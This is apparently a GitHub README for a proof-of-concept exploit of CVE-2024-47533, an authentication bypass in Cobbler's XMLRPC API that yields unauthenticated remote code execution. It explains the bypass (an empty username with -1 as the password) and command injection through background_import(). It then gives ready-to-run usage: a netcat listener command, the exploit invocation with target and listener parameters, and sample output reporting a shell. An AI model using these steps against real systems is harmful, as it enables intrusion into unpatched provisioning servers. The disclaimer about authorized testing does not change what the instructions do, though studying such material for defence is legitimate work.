# CVE-2024-47533 â Cobbler XMLRPC Authentication Bypass â Reverse Shell (Unauthenticated RCE)
## đ Summary
This repository contains a **Proof-of-Concept (PoC) exploit** for **CVE-2024-47533**,
a critical authentication bypass in Cobbler's XMLRPC API that leads to **unauthenticated remote code execution (RCE)**.
The exploit leverages the XMLRPC API's `login()` method flaw to bypass authentication and inject a reverse shell command via `background_import()`.
---
## â ď¸ Disclaimer
This tool is intended for **educational, research, and authorized penetration testing only**.
Do **NOT** use it on systems you do not own or have explicit written permission to test.
The author assumes **no liability** for misuse or damages.
---
## đ Technical Details
- **Vulnerability Type:** Authentication Bypass â RCE
- **Affected Component:** Cobbler XMLRPC API
- **Attack Vector:** Network
- **Privileges Required:** None
- **User Interaction:** None
**Root Cause:**
`utils.get_shared_secret()` incorrectly returns `-1` due to mishandling file reads in binary mode with an encoding, allowing authentication with an empty username and `-1` as the password.
**Impact:**
An attacker can:
- Gain admin-level API access
- Inject arbitrary system commands into Cobbler templates
- Spawn a reverse shell on the target
---
## đ Usage
### 1ď¸âŁ Clone the repository
```bash
git clone https://github.com/00xCanelo/CVE-2024-47533-PoC.git
cd CVE-2024-47533-PoC
```
### 2ď¸âŁ Set up a listener
On your attacking machine:
```bash
nc -lvnp 4444
```
### 3ď¸âŁ Run the exploit
```bash
python3 CVE-2024-47533.py -u http://<TARGET_IP>:<PORT>/RPC2 -l <LHOST> -p <LPORT>
```
**Example:**
```bash
python3 CVE-2024-47533.py -u http://192.168.1.50:25151/RPC2 -l 192.168.1.100 -p 4444
```
---
## đ File Structure
```
.
âââ CVE-2024-47533.py # Reverse shell exploit script
âââ README.md # Documentation
```
---
## đ¸ Example Output
```plaintext
[*] Target: http://192.168.1.50:25151/RPC2
[*] Listener: 192.168.1.100:4444
[*] Payload: bash
[*] Connecting to Cobbler...
[*] Authenticating...
[*] Executing exploit...
[+] Exploit sent! Got A Shell đĽ.
```
---
## đ§âđť Author
**00xCanelo**
[GitHub Profile](https://github.com/00xCanelo)
---
## đ References
- [NVD: CVE-2024-47533](https://nvd.nist.gov/vuln/detail/CVE-2024-47533)
- [Cobbler Project GitHub](https://github.com/cobbler/cobbler)
Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view